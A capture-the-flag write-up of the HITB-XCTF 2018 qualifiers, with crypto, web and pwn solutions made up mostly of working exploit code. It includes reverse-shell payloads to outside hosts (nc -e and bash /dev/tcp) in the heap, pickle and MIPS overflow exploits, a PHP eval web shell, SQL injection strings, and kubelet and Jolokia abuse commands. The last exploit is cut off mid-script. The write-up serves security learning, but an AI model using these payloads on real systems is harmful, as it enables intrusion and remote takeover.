HITB-XCTF Quals 2018 Writeup

  XCTF联赛小秘       2018-04-18 10:00:21 7160  1

HITB-Quals-2018-writeup

HITB-XCTF 2018 GSEC Online Qualifications Writeup

This writeup based on TokyoWestenrs Team (1st Place)

▶︎
all
running...

easy_block (Crypto)

  • Because there is a decrpytion oracle, so I can encrypt any plain text with MAC Key if IV has flexibility.
  • Verification of MAC uses last 32byte.Therefore the IV requires only last 1byte flexibility.
  • Since there are no validation for unpad, unpad(“admin” + any 122chars + “{”) is “admin”.
require 'ctf'

user = "admin" + ?a * 122 + '{'
TCPSocket.open(*ARGV) do |s|
  s.echo = true
  s.expect('Please [r]egister or [l]ogin :>>')
  s.puts 'c'
  s.expect('username:>>')
  s.puts 'admin'
  target = s.gets.chomp
  target = [target].pack("H*")
  s.puts 'c'
  s.expect('username:>>')
  s.puts user + 'user'
  base = s.gets.chomp
  base = [base].pack("H*") + "\x10" * 16

  s.expect('Please [r]egister or [l]ogin :>>')
  s.puts 'r'
  s.puts user
  s.expect(/Here is your cookie:\n/)
  cookie = [s.gets.chomp].pack("H*")

  cookie = cookie[0...-16]
  base_enc = cookie[0, 64]

  s.expect('Please [r]egister or [l]ogin :>>')
  s.puts 'l'
  tmp = cookie + ''
  base_enc[32, 16] = base_enc[32, 16] ^ base[32, 16] ^ (target[-15..-1] + "\1")
  tmp[0, 32] = base_enc[16, 32]
  s.puts tmp.unpack1("H*")
  base[16, 16] = [s.expect(/, '([0-9a-f]{32})/)[1]].pack("H*")

  s.expect('Please [r]egister or [l]ogin :>>')
  s.puts 'l'
  tmp = cookie + ''
  base_enc[16, 16] = base_enc[16, 16] ^ base[16, 16] ^ (target[-31,16])
  tmp[0, 32] = base_enc[0, 32]
  s.puts tmp.unpack1("H*")
  base[0, 16] = [s.expect(/, '([0-9a-f]{32})/)[1]].pack("H*")
  #
  s.expect('Please [r]egister or [l]ogin :>>')
  s.puts 'l'
  tmp = cookie + ''
  base_enc[15, 1] = base_enc[15, 1] ^ base[15, 1] ^ (target[-32])
  tmp[0, 64] = base_enc[0, 64]
  s.puts tmp.unpack1("H*")
  #base[0, 16] = [s.expect(/, '([0-9a-f]{32})/)[1]].pack("H*")
  #
  s.interactive!

end

baby_pub (Crypto)

  • step1: zipCrypto known plain text attack

    tool

  • step2 reverse py2exe

    python

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5, AES
from Crypto.Util.number import bytes_to_long, long_to_bytes
from os import urandom


bs = 16


def xor(x, y):
    return bytes(a ^ b for a, b in zip(x, y))


class Pubcipher(object):
    def __init__(self):
        self._rsa = RSA.generate(1024)
        self._pkcs = PKCS1_v1_5.new(self._rsa)

    def encrypt(self, msg):
        '''msg must be bytes'''
        return self._pkcs.encrypt(msg)

    def decrypt(self, ciphertext):
        return self._pkcs.decrypt(ciphertext, None)


class Sycipher(object):
    def __init__(self):
        self.iv = urandom(AES.block_size)

    def _pad(self, s):
        return s + (AES.block_size - len(s) % AES.block_size) * bytes((AES.block_size - len(s) % AES.block_size, ))

    def _unpad(self, s):
        return s[0:-s[-1]]

    def encrypt(self, msg, key):
        self.cipher = AES.new(key, AES.MODE_OFB, self.iv)
        return self.cipher.encrypt(self._pad(msg))

    def decrypt(self, msg, key):
        self.cipher = AES.new(key, AES.MODE_OFB, self.iv)
        return self._unpad(self.cipher.decrypt(msg))


def main():
    with open('admin.key', 'rb') as f:
        admin_key = f.read(bs)

    print('Welc.')
    pub = Pubcipher()
    sy = Sycipher()
    print(pub._rsa.e)
    print(pub._rsa.n)

    while True:
        choice = input("[t]icke or [k]ey or [f]lag :>>")

        if not choice:
            break
        if choice[0] == 't':
            name = input('ur name:>>')
            if len(name) > 50:
                exit()
            name = bytes(name, 'ISO-8859-1')

            pw = input('ur 16bytes passwd:>>')
            if len(pw) != bs:
                exit()
            pw = bytes(pw, 'ISO-8859-1')

            tic = name + pw + urandom(bs) + admin_key

            try:
                tic = pub.encrypt(tic)
            except ValueError:
                print('Plz input again. Remove space plz.')
                continue
            print(tic.hex())

        elif choice[0] == 'k':
            tmp_k = input('Input the key:>>')
            tmp_k = bytes.fromhex(tmp_k)
            if tmp_k != admin_key:
                exit()
            print(admin_key.hex())

        elif choice[0] == 'f':
            name = input('ur name:>>')
            if len(name) > 50:
                exit()
            name = bytes(name, 'ISO-8859-1')

            pw = input('ur 16bytes passwd:>>')
            if len(pw) != bs:
                exit()
            pw = bytes(pw, 'ISO-8859-1')

            tic = input('ur ticket:>>')
            try:
                tic = bytes.fromhex(tic)
            except Exception:
                continue

            p = pub.decrypt(tic)
            try:
                _name = p[-4 * bs:-3 * bs]
                _pw = p[-3 * bs:-2 * bs]
                _admin_key = p[-bs:]
                seed = p[-2 * bs:-bs]

                if _name != name or _pw != pw or _admin_key != admin_key:
                    raise ValueError
            except Exception:
                print('u input wrong passwd or username')
                continue

            key = xor(seed, pw)

            with open('attach.bin', 'rb') as f:
                flag = f.read()
                flag = sy.encrypt(flag, key)
            print(flag.hex())

        else:
            exit()


if __name__ == '__main__':
    main()
  • step3 PKCS#1 v1.5 decrypt oracle

    Between 106th line-116th line:

            try:
                _name = p[-4 * bs:-3 * bs]
                _pw = p[-3 * bs:-2 * bs]
                _admin_key = p[-bs:]
                seed = p[-2 * bs:-bs]

                if _name != name or _pw != pw or _admin_key != admin_key:
                    raise ValueError
            except Exception:
                print('u input wrong passwd or username')
                continue
As the decrypt function for pkcs is initialize like this:
    def decrypt(self, ciphertext):
        return self._pkcs.decrypt(ciphertext, None)

It won’t raise an error when PKCS detect some error for padding, decrypt function will just return None, and when it try to _name = p[-4 * bs:-3 * bs], an error will raise.

SO here is a decrypt oracle. We can leak the information about whether the first 2 bytes is ‘0002’. Actualle, it is an old attack. Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS #1

Why I choose this one? Because this paper. Real world never realize the danger from cryptography bug.

  • step4 get flag

easy_pub (Crypto)

d(c(x)c(y))=xy.d(c(x)c(y))=xy.

# coding: ASCII-8BIT
require 'ctf'

include CTF::Math

TCPSocket.open(*ARGV) do |s|
  s.echo = true
  s.gets
  e = s.gets.to_i
  fail if e != 65537
  n = s.gets.to_i
  s.gets
  s.gets
  s.gets

  s.expect('>>')
  s.print "r\n"
  s.expect('>>')
  s.print "\1oge\n"
  msg = s.gets.to_i

  s.expect('>>')
  s.print "l\n"
  s.puts mod_pow(7, e, n) * msg % n
  s.puts 0
  s.puts 0
  s.expect(/b['"]/)
  d = s.gets.chomp[0..-2]
  p eval('"%s"' % d)
  r = eval('"%s"' % d).unpack1("H*").to_i(16)

  if r % 7 == 0
    puts '!!!'
  end
  r /= 7
  p '%x' % r
  p ["0%x" % (r)].pack("H*")
  puts ["0%x" % (r)].pack("H*")
  s.interactive!
end

base (Crypto)

Best-first-search algorithm for prefix matching.

require 'socket'
require 'expect'
TARGET = '2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU='
def diff(s, t)
    len = [s.size, t.size].min
    len.times do |i|
        return i if s[i] != t[i]
    end
    return len
end
queue = [['Xiaomo@FlappyPig'.unpack1("H*"), '2WjF4S3iL7tJvAtHCecd3hl74rnH3hUj']]
TCPSocket.open('47.91.210.116', '9999') do |s|
    while queue.size > 0
        queue.sort_by!{|a, b|-diff(b, TARGET)}
        cur, enc = queue.shift
        p [cur, diff(enc, TARGET)]
        if enc == TARGET
            puts 'FOUND %s' % cur
            exit -1
        end
        next if enc.size > TARGET.size
        STDOUT.flush
        sleep 0.01
        '0123456789abcdef'.unpack("C*").each do |c|
            nex = cur + c.chr
            s.puts nex
            s.expect(') => "')
            result = s.gets.chomp[0..-2]
            queue.push([nex, result])
        end
    end
end
$ nc 47.91.210.116 9999
Tips:
        "HITB{"+decrypt("2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU=")+"}"
Input: 5869616f6d6f40466c61707079506967
encrypt("5869616f6d6f40466c61707079506967") => "2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU="
U R RIGHT!!!
FLAG IS: HITB{5869616f6d6f40466c61707079506967}

streamgamex (Crypto)

linear simultaneous equations

mask = 0b10110110110011010111001101011010101011011
N = 24
F = GF(2)
R = [vector(F, N) for i in range(N)]
for i in range(N):
  R[i][i] = 1

def lfsr(R,mask):
    lastbit = vector(F, N)
    for i in range(0, N):
      if mask >> i & 1:
        lastbit += R[i]
    output = [lastbit] + R[0:N-1]
    return (output,lastbit)

b = ''
with open('key', 'rb') as f:
  b = f.read()
M = Matrix(F, len(b) * 8, N)
vec = vector(F, len(b) * 8)
row = 0
for i in range(len(b)):
  t = ord(b[i])
  for j in xrange(7, -1, -1):
    vec[row] = t >> j & 1
    (R, out) = lfsr(R, mask)
    M[row] = out
    row += 1
print rank(M)
print ''.join(map(str, list(M.solve_right(vec))[::-1]))
optirun ./hashcat64.bin -a 3 -m 1400 b2dcba51efd4a7d6157c956884a15934cb3edd3d2c1026830afa8db4ec108b58 -1 '01' 'flag{?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1}'

3pigs

web

the part of web is very easy , you can bypass secret by using of python-format:

+: x.__add__(y) <==> x+y
*: x.__mul__(n) <==> x*n
"".__doc__: ()''= - > \n . ,
"".__gt__.__doc__: > () = _ .
"".__lt__.__doc__: <
"".__add__.__doc__: +
"".__subclasshook__.__doc__ :ABCFNIO
"".__mod__.__doc__: %
"".__new__.__doc__ : T S
"".__getslice__.__doc__: U
U {0.__getslice__.__doc__[56]}
O {0.__subclasshook__.__doc__[234]}
T {0.__new__.__doc__[0]}
p {0.__doc__[49]}
% {0.__mod__.__doc__[19]}
I {0.__doc__[77]}
< {0.__delattr__.__doc__[22]}
S {.__sizeof__.__doc__[0]}
=>
UOTp%I<S
{0.__getslice__.__doc__[56]}{0.__subclasshook__.__doc__[234]}{0.__new__.__doc__[0]}{0.__doc__[49]}{0.__mod__.__doc__[19]}{0.__doc__[77]}{0.__delattr__.__doc__[22]}{0.__sizeof__.__doc__[0]}

pwn

the part of pwn is easy,too , there is only one point that you should try to find the way how to make the size of top smaller:

catchpig(0,"0"*0xc8) # top smaller 1
catchpig(1,"0"*0xc8) # top smaller 2
catchpig(2) # bypass glibc check
freepig(2)
freepig(1)
freepig(0)

By using these steps, we can make the size of top become 0x80, then we create new pig and it will becomes a unsorted bin(0x60), which we can exploit it by house of orange

exp

#!/usr/bin/env python
# encoding: utf-8

import requests
import sys
import re
from pwn import *
from md5 import getvcode
url = "http://47.75.153.218:9999"
libc = ELF("./libc.so.6.ctf")

r = requests.session()
c = r.get("%s/login.php"%url).content
v = re.findall("md5\(\?\)\[:4\] = (\w{4})",c)[0]
vc = getvcode(v)

logindata = {
    'username': 'admin',
    'vcode': vc
}

def Post(u,d):
    c = r.post(u,data=d).text
    print c
    if 'Success' not in c:
        sys.exit()

Post("%s/login.php"%url,logindata)

def catchpig(id,data):
    u = "%s/addpig.php" % url
    data = {
        "id": id,
        "content": data.encode("base64")
    }
    Post(u,data)

def freepig(id):
    u = "%s/freepig.php" %url
    data = {
        "id": id
    }
    Post(u,data)

def listpig():
    u = "%s/index.php" % url
    con = r.get(u).content
    return con

def catchgold():
    u = "%s/flypig.php" % url
    secret = "{0.__getslice__.__doc__[56]}{0.__subclasshook__.__doc__[234]}{0.__new__.__doc__[0]}{0.__doc__[49]}{0.__mod__.__doc__[19]}{0.__doc__[77]}{0.__delattr__.__doc__[22]}{0.__sizeof__.__doc__[0]}"
    data = {
        "secret": secret.encode("base64")
    }
    Post(u,data)

def usegold(data):
    u = "%s/flypig.php" % url
    data = {
        "secret": data.encode("base64")
    }
    Post(u,data)

def leak():
    global io_list_all, libc_addr
    catchpig(0,"0")
    catchpig(1,"1")
    freepig(0)
    catchpig(2,"2")
    ret = listpig()
    tmp = ret.split("Small Li")[1].split("</strong>")[0].strip()
    print tmp
    tmp = tmp.split("\\x")
    print [tmp]
    addr = ''
    for i in tmp:
        if len(i)==1:
            addr += i
        else:
            try:
                addr += chr(int(i[:2],16))
                if len(i)>2:
                    addr += i[2:]
            except:
                addr += i
    addr = addr.ljust(8,'\x00')
    addr = u64(addr)
    usbin_addr = addr
    io_list_all = usbin_addr + 0x9a8
    libc_addr = (addr & 0xfffffffff000) - 0x3c1000
    freepig(1)
    freepig(2)

def cleantop():
    #tmp = (binsh_addr-100)/2
    catchpig(0,"0"*0xb8)
    catchpig(1,"\x00"*0x60 + p64(0xfffffffffffffffe) + p64(0)*3 + p64(2) + p64(3) + p64(0) + p64(binsh_addr) + "\x00"*0x18)
    catchpig(2,"\x00"*0x50 + p64(0xffffffffffffffff) + p64(0)*2 + p64(io_str_jumps-8) + p64(0) + p64(system_addr))
    freepig(1)
    freepig(2)
    freepig(0)

def cleantop2():
    catchpig(0,"0"*0xb8)
    catchpig(2,"2")
    freepig(0)
    freepig(2)

    catchpig(1,"4")
    catchgold()
    catchpig(2,"5")
    freepig(2)
    freepig(1)

    usegold(p64(0) + p64(io_list_all-0x10)[:-1])
    catchpig("1"+"\n" + "\x00"*13+"    nc -e /bin/sh 23.105.201.24 55",'2')

    #for i in xrange(10):
    #    catchpig(1,"echo 1 > /tmp/123\n")

if __name__=='__main__':
    leak()
    system_addr = libc_addr + libc.symbols['system']
    io_str_jumps = libc_addr + libc.symbols['_IO_file_jumps'] + 0xc0
    binsh_addr = libc_addr + libc.search("/bin/sh").next()

    log.success("io_addr: %s"%(hex(io_list_all)))
    log.success("system_addr: %s"%(hex(system_addr)))
    log.success("binsh_addr: %s"%(hex(binsh_addr)))
    log.success("strjump_addr: %s"%(hex(io_str_jumps)))
    raw_input("system")
    for i in xrange(112):
        cleantop()
        print i
    #cleantop()
    cleantop2()

upload (Web)

Remove server uses Windows.

$ curl http://47.90.97.18:9999/pic.php -v
*   Trying 47.90.97.18...
* TCP_NODELAY set
* Connected to 47.90.97.18 (47.90.97.18) port 9999 (#0)
> GET /pic.php HTTP/1.1
> Host: 47.90.97.18:9999
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=UTF-8
< Server: Microsoft-IIS/7.0
< X-Powered-By: PHP/5.6.35
< Date: Thu, 12 Apr 2018 03:13:05 GMT
< Content-Length: 11
<
* Connection #0 to host 47.90.97.18 left intact
image error%
  • upload.php doesn’t accept .php file but it accepts .PHP. It is same on Windows.
  • /upload directory is dummy.
  • PHP on Windows have strange behavior of File name with <. I can use it for one by one char search for directory name.

We upload the file 1523501227.png

s = ''
while true
  ff = false
  t = '0123456789abcdef'.unpack("C*")
  t.each do |i|
    next if i == 0x3e || i == 0x3c


    r = `curl -s http://47.90.97.18:9999/pic.php?filename=../#{s}%#{'%02x' % i}%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e/1523501227.png`
    unless r.include?('error')
      puts r
      puts i
      s += i.chr
      p s
      ff = true
      break
    end
    p [i, r]
  end

  unless ff
    puts 'NF'
    puts s
    exit -1
  end
end

exploit.php

<?php
echo '"HELLO!!\n"';
eval($_GET["hello"]);
$ curl 'http://47.90.97.18:9999/87194f13726af7cee27ba2cfe97b60df/1523502390.PHP?hello=var_dump(glob("../*"));'
"HELLO!!\n"array(9) {
  [0]=>
  string(35) "../87194f13726af7cee27ba2cfe97b60df"
  [1]=>
  string(8) "../admin"
  [2]=>
  string(11) "../flag.php"
  [3]=>
  string(13) "../index.html"
  [4]=>
  string(10) "../pic.php"
  [5]=>
  string(9) "../system"
  [6]=>
  string(9) "../upfile"
  [7]=>
  string(9) "../upload"
  [8]=>
  string(13) "../upload.php"
}

$ curl 'http://47.90.97.18:9999/87194f13726af7cee27ba2cfe97b60df/1523502390.PHP?hello=var_dump(file_get_contents("../flag.php"));'
"HELLO!!\n"string(73) "<?php
echo "flag is here";
//HITB{e5f476c1e4c6dc66278db95f0b5a228a}
?>"

PHP lover (Web)

  • First, I made the avatar error state.
  • User name with 300 length caused overflow of the filename of avater. Then we could use report function.
  • User’s email can be “'hogehoge”@hoge.cc, and there are second query injection in report function
  • There is another filter but it can be bypassed with comment such asselect 1 from/**/user.
  • Captcha is reuseable.
require 'cgi'
require 'shellwords'

# user idの取得
# email = <<EOS
# "',(select id from/**/users/**/where/**/nickname='piyomisaki'))#"@hoge.cc
# EOS

user_id = 10291
# email = <<EOS
# "',''), (10291,(select group_concat(column_name)/**/from/**/information_schema.columns where table_schema=database() and table_name='fffflag_is_here'),765)#"@hoge.cc
# EOS
email = <<EOS
"',''), (10291,(select fllllag_is_hhhhere/**/from fffflag_is_here),765)#"@hoge.cc
EOS
email = email.strip
File.binwrite('email', email)
system 'curl http://47.52.149.205:9999/index.php/edit -c hoge.jar -b hoge.jar -F nickname=piyomisaki -F "email=<email" -F "code=fwaf" -F "submit=submit" -s'
puts
system 'curl http://47.52.149.205:9999/index.php/export -b hoge.jar -s | grep "Your last report used"'
system 'curl http://47.52.149.205:9999/index.php/export -b hoge.jar -s | grep "Your last report used"'

Baby baby (Web)

At first there is strange service on port 5000, 9999 and 10250.

~$ nmap -sV 47.75.146.42 -p-
...
80/tcp    open  http     nginx 1.12.2
5000/tcp  open  ssl/http Docker Registry (API: 2.0)
9999/tcp  open  http     nginx 1.12.2
10250/tcp open  ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
...

5000/tcp was Docker Registry service and got list of containers but this was closed soon.

9999/tcp was nginx same as 80/tcp, but php was disabled so I could get php with backdoor. (actually this was fake)

10250/tcp was kubelet service and I could get the access to the container with following request.

curl -vvv -k https://47.75.146.42:10250/runningpods/ # get list of running pods => namespace: esn-system, podname: web-test-4092782360-035qx, container: web-test
curl -vvv -k https://47.75.146.42:10250/run/esn-system/web-test-4092782360-035qx/web-test -d cmd="ls /"
curl -vvv -k https://47.75.146.42:10250/run/esn-system/web-test-4092782360-035qx/web-test -d cmd="cat /flag.txt"

Python’s revenge (Web)

secret can be calculated by brute force and bypass filter with os.execlpe.

import requests
import string
import random
import itertools
import hashlib
import cPickle
import base64
import os


url = "http://47.75.151.118:9999/"

def get_location(s):
    sess = requests.session()
    sess.post(url+'reminder', data={'reminder': s})
    location = sess.cookies['location']
    return location

def bf_secret():
    return 'hitb' # 4/11 8:56

    digest, location = get_location('a').split('!')
    chars = string.ascii_letters + string.digits
    c4 = [chars] * 4
    for el in itertools.product(*c4):
        secret = ''.join(el)
        if hashlib.sha256(location+secret).hexdigest() == digest:
            return secret

def make_location_cookie(location):
    secret = bf_secret()
    return hashlib.sha256(location+secret).hexdigest()+"!"+location


if __name__ == '__main__':
    class RCE(object):
        def __reduce__(self):
            return (os.execlpe, ('bash', 'bash', '-c', "bash -i >& /dev/tcp/mydomain/10080 0>&1", None))


    location = RCE()

    loc = base64.b64encode(cPickle.dumps(location))
    cookie = make_location_cookie(loc)
    sess = requests.session()
    sess.cookies.set('location', cookie)
    req = sess.get(url)

    print req.text

flag was at /flag_is_here.

Baby FS (Web)

The web application provides features to create a mountpoint and to list files of the mountpoint.

The first time we saw the problem, output of action=list was (if I remember right):

params: path
available path:/data/i00x1k7gks 127.0.0.1(rw,all_squash), 8.8.8.8(ro,all_squash), 127.0.0.1(rw,all_squash)

It looks like /etc/exports. And action=create’s parameters were ip_range, permission, and squash. These were very big hint. But after updating the problem twice, these hints are vanished from the problem:
output of action=list became

params: path
available path:/data/330xtkdrq0, /data/f1p22p2zh7, /data/gcxs5xp1zk,

and action=create's parameters became ip, permission, squash.

After many trials and errors, we found that ip validator is broken: it accepts any 2 characters after / and %0a before /. So we created a mount point with ip=8.8.8.8%0a/%0a/, then accessed to path=/. Flag was a filename in /: HITB{---->}!}<0>cccc}.

Baby Nya (Web)

nmap found Apache Jserv v1.3 on port 8009.

~$ nmap -sV 47.75.128.216 -p-
...
8009/tcp  open   ajp13         Apache Jserv (Protocol v1.3)
..

writing ajp client is tiresome process, I reused proxy_ajp of mod_jk.

~$ sudo apt install libapache2-mod-jk
~$ sudo a2enmod proxy_ajp

~$ cat /etc/apache2/sites-enabled/ajp.conf
ProxyRequests Off
ProxyPass	/ ajp://47.75.128.216:8009/
ProxyPassReverse	/ ajp://47.75.128.216:8009/

The hint says “the tomcat deployed jolokia.war”. I found useful post about jolokia exploitation: https://www.anquanke.com/post/id/103016
Created new user with role manager-gui.

~$ curl -vvv -H 'Content-Type: application/json' localhost:8080/jolokia/ --data '{"type":"EXEC","mbean":"Users:database=UserDatabase,type=UserDatabase","operation":"createUser","arguments":["hoge1234","hoge1234",""]}'
~$ curl -vvv -H 'Content-Type: application/json' localhost:8080/jolokia/ --data '{"type":"EXEC","mbean":"Users:database=UserDatabase,type=User,username=\"hoge1234\"","operation":"addRole","arguments":["manager-gui"]}'

accessing /manager/html with the credentials, I got flag.

gheart (Pwn)

From scryptos

The binary has 5 menus:

  1. sign in
    • To signin, we are required to solve an easy Proof of Work
  2. show my heart
    • This feature shows us 3 types of hex numbers
      • my encrypted secret: encrypted flag
      • my heart: RSA public key (n, e)
  3. show your heart
    • This feature leaks the higher bits of RSA private key § when we choose a large number as “size or your heart”
  4. sign out
  5. exit
    These are the parameters I’ve collected from the remote server:
higher bits of p: c68de09c8550f90cad2dcd7697d514286203e93baf328717ba208a3fc5db476379e7b75e43c117b417b9c140e3da4bc3c4005934456c813198f352cec6fb1b27fa0a081b990ab9bb
e: 3
n: 877149E3A16B31DA99D86792698F6348381FA2E1D16BAFD48E5CA5F46892AA26A64877813D00F2F847B18758E3EE384D95DD8B1FF01715A203ACB72965AB7946012D91B8AC24569E9B38360B84169C26F6B0554FB1A512662A8F3EF644C1708DCE169AF1CFE2A629A9FF6E7CD1E9FDDD15911A9AB813148680333133735E02647E9CEB41230246413FE23DAE65240775EE0BE827E61FD1DACC17717D5EDB3F79A49E63758DE86EC6AACA2CBA9DB66089AB1229D1AC45525C7A05BB6C94B203A80678EBA4955BF427593823BEA99BDE35DDA5010A4AF67524E8D2DC9B41A894EC8934701798E67E6871A9559C1D91C7C89A8BDB328D059C274DF6F6EDE860771D
cipher text: 1EA7EEBA41287381903F9BE4A74BBCCE612657AF4C45A8ABFDDC89B16ED25247FB7F78EA6DDDA0EBAA42ADB8574A1DD70B7FE5C2A291C619257AD8B985A334E85166DCC5490C33A4491F55E7CA4395D7A02E33D64E15D57F2ED1E50C1DCDE7A9ED89A6D128F83CEC5259E19E91FD8137AF1530B5C560BB6313D4BDD6CF8BFDA7455C8DE33350B818F4FAFD568BBA96F77210441541FCFF1DC58ED8365AA07F2823D6F0FF1500048931594B849EBFF9219D5B17F202FE4166E6F0D2D589057635904235932479B6CAE498ECEE4DB3E5F0E85E0B5D93EBF162014614DFBDA61111E94D54738C7EE913F416B1704093C61AADF31D1D37A70A86C9608CB47ADCCBE2

… and the flag gets padded like this before encrypting:

assert(len(secret) == 46)
m = ("0" + secret.encode("hex") + "6" * 163).decode("hex")

I passed all informations I’ve got to my team’s crypto guy. (Because I’m not good at crypto ????)
He used SageMath to decrypt the flag.

n = int("877149E3A16B31DA99D86792698F6348381FA2E1D16BAFD48E5CA5F46892AA26A64877813D00F2F847B18758E3EE384D95DD8B1FF01715A203ACB72965AB7946012D91B8AC24569E9B38360B84169C26F6B0554FB1A512662A8F3EF644C1708DCE169AF1CFE2A629A9FF6E7CD1E9FDDD15911A9AB813148680333133735E02647E9CEB41230246413FE23DAE65240775EE0BE827E61FD1DACC17717D5EDB3F79A49E63758DE86EC6AACA2CBA9DB66089AB1229D1AC45525C7A05BB6C94B203A80678EBA4955BF427593823BEA99BDE35DDA5010A4AF67524E8D2DC9B41A894EC8934701798E67E6871A9559C1D91C7C89A8BDB328D059C274DF6F6EDE860771D", 16)
c = int("1EA7EEBA41287381903F9BE4A74BBCCE612657AF4C45A8ABFDDC89B16ED25247FB7F78EA6DDDA0EBAA42ADB8574A1DD70B7FE5C2A291C619257AD8B985A334E85166DCC5490C33A4491F55E7CA4395D7A02E33D64E15D57F2ED1E50C1DCDE7A9ED89A6D128F83CEC5259E19E91FD8137AF1530B5C560BB6313D4BDD6CF8BFDA7455C8DE33350B818F4FAFD568BBA96F77210441541FCFF1DC58ED8365AA07F2823D6F0FF1500048931594B849EBFF9219D5B17F202FE4166E6F0D2D589057635904235932479B6CAE498ECEE4DB3E5F0E85E0B5D93EBF162014614DFBDA61111E94D54738C7EE913F416B1704093C61AADF31D1D37A70A86C9608CB47ADCCBE2", 16)
F = Zmod(n)
PR.<x> = PolynomialRing(F)
x0 = (((2^4)^163 * x + int('6' * 163, 16))^3 - c).monic().small_roots(X=2^(8*46))[0]
hex(ZZ(x0)).decode('hex')
# => 'flag{flappypig_c00l_and_wec0me_your_coming_1!}'

flag: flag{flappypig_c00l_and_wec0me_your_coming_1!}

From scryptos
This CGI has 2 features, SysInfo and Echo.

SysInfo simply executes pmap ${self_pid}.
By calling SysInfo several times, I realized that the remote server has no ASLR.

$ curl -v 'http://47.75.186.245:9999/cgi-bin/soap.cgi?local=1' -H 'SoapAction: #SysInfo'
*   Trying 47.75.186.245...
* Connected to 47.75.186.245 (47.75.186.245) port 9999 (#0)
> GET /cgi-bin/soap.cgi?local=1 HTTP/1.1
> Host: 47.75.186.245:9999
> User-Agent: curl/7.47.0
> Accept: */*
> SoapAction: #SysInfo
>
< HTTP/1.1 200 OK
< Date: Fri Apr 13 05:19:02 2018
< Content-Length: 829
< Connection: keep-alive
< X-Frame-Options: SAMEORIGIN
< Pragma: no-cache
< Cache-Control: no-cache
< Content-Type:  text/plain
<
2381:   /ctf/goahead_home/www/cgi-bin/soap.cgi
00400000      8K r-x--  /ctf/goahead_home/www/cgi-bin/soap.cgi
00411000      4K rw---  /ctf/goahead_home/www/cgi-bin/soap.cgi
00412000    132K rwx--    [ anon ]
77e28000     64K rw---    [ anon ]
77e38000   1464K r-x--  /lib/mips-linux-gnu/libc-2.13.so
77fa6000     64K -----  /lib/mips-linux-gnu/libc-2.13.so
77fb6000     36K r----  /lib/mips-linux-gnu/libc-2.13.so
77fbf000      8K rw---  /lib/mips-linux-gnu/libc-2.13.so
77fc1000     12K rw---    [ anon ]
77fc4000    140K r-x--  /lib/mips-linux-gnu/ld-2.13.so
77fef000      8K rw---    [ anon ]
77ff5000      4K rw---    [ anon ]
77ff6000      4K r----  /lib/mips-linux-gnu/ld-2.13.so
77ff7000      4K rw---  /lib/mips-linux-gnu/ld-2.13.so
7ffd6000    132K rwx--    [ stack ]
7fff7000      4K r-x--    [ anon ]
 total     2088K

Echo feature echoes the string given via “message” parameter.

$ curl -v 'http://47.75.186.245:9999/cgi-bin/soap.cgi?local=1&message=114514' -H "SoapAction: #Echo"
*   Trying 47.75.186.245...
* Connected to 47.75.186.245 (47.75.186.245) port 9999 (#0)
> GET /cgi-bin/soap.cgi?local=1&message=114514 HTTP/1.1
> Host: 47.75.186.245:9999
> User-Agent: curl/7.47.0
> Accept: */*
> SoapAction: #Echo
>
< HTTP/1.1 200 OK
< Date: Fri Apr 13 05:24:33 2018
< Content-Length: 6
< Connection: keep-alive
< X-Frame-Options: SAMEORIGIN
< Pragma: no-cache
< Cache-Control: no-cache
< Content-Type:  text/plain
<
* Connection #0 to host 47.75.186.245 left intact
114514

The Echo feature calls strcpy without checking the length of “message” parameter.
This leads to stack buffer overflow.

Since “message” parameter is given via query string, we have to build our payload without using null-bytes, whitespaces, and ampersands.
This is not a big problem because libc is given and ASLR is disabled on remote server.

Exploit:

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "47.75.186.245"
  port = 9999
else
  host = "localhost"
  port = 54321
end

def tube
  @tube
end

reverse_shell_host = "REDACTED";
reverse_shell_port = 31337;
cmd = "bash${IFS}-c${IFS}'bash</dev/tcp/#{reverse_shell_host}/#{reverse_shell_port}';"

libc_base = 0x77e38000
fake_fp = 0x7fff6b48

payload = ""
payload << "A" * 0x84
payload << [fake_fp].pack("L>")  # fp
payload << [libc_base + 0x11afa8].pack("L>")  # ra (set s1)
payload << "B" * 24
payload << "B" * 4  # s0
payload << [libc_base + 0x41da0].pack("L>")  # s1 = system
payload << [fake_fp].pack("L>")  # fp
payload << [libc_base + 0xe5170].pack("L>")  # ra (call system)
payload << "A" * 64
if cmd.length % 4 != 0
  cmd << "_" * (4 - cmd.length % 4)
end
payload << cmd

raise if payload =~ /[\0\s&]/

PwnTube.open(host, port){|t|
  @tube = t

  a = ""
  a << "GET /cgi-bin/soap.cgi?local=1&message=#{payload} HTTP/1.1\r\n"
  a << "Host: 47.75.186.245:9999\r\n"
  a << "SoapAction: #Echo\r\n\r\n"
  tube.send(a)

  tube.interactive
}

flag: HITB{fdfbf27aaf678a3785df6d343f3309e1}

gundam (Pwn)

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file    = './gundam'
libc_file   = './libc.so.6'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('local', 'remote')
env.set_item('mode',    local = 'SOCKET', remote = 'SOCKET')
env.set_item('target',  local   = {'host':'localhost', 'port':8080}, \
                        remote  = {'host':'47.75.37.114', 'port':9999})
env.select()

#==========

binf = ELF(bin_file)
libc = ELF(libc_file)
offset_libc_malloc_hook = libc.symbols['__malloc_hook']
offset_libc_mainarena   = offset_libc_malloc_hook + 0x10

#==========

def attack(conn):
    gd = Gundam(conn)

    gd.build('0', 0)    # 0
    gd.build('1', 0)    # 1
